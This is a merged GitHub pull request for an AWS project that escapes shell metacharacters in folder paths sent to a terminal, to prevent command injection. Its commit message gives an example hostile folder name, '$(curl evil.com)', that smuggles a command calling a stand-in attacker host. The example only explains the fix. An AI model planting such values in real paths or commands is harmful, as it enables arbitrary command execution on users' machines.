Skip to content

fix: Sanitize folder paths in terminal sendText to prevent command Injection#192

Merged
azmkercso merged 1 commit intoaws:1.0from
aakashmandavilli96:1.0
Apr 16, 2026
Merged

fix: Sanitize folder paths in terminal sendText to prevent command Injection#192
azmkercso merged 1 commit intoaws:1.0from
aakashmandavilli96:1.0

Conversation

@aakashmandavilli96
Copy link
Copy Markdown
Contributor

Issue

  • P381721885

Description of Changes

  • Sanitize folder paths

Testing

  • Need to build the image locally and test the change

Screenshots/Videos

  • NA

Additional Notes

  • NA

Backporting

  • NA

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

@aakashmandavilli96 aakashmandavilli96 requested review from a team as code owners April 14, 2026 20:43
Copy link
Copy Markdown

@austinjang2 austinjang2 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

sachinh-amazon
sachinh-amazon previously approved these changes Apr 15, 2026
…jection

Folder names containing shell metacharacters (e.g., $(curl evil.com))
can trigger command injection when extensions send commands like
"cd <path> && python file.py" via terminal.sendText(). This patch
sanitizes path segments in cd commands by escaping shell-dangerous
characters before the text is written to the terminal process.

Remove double-quote passthrough in quoted path detection — only
single-quoted paths are shell-safe. Double-quoted paths still expand
$(), backticks, and ${}, so they must be sanitized.
@azmkercso azmkercso merged commit 2f84604 into aws:1.0 Apr 16, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants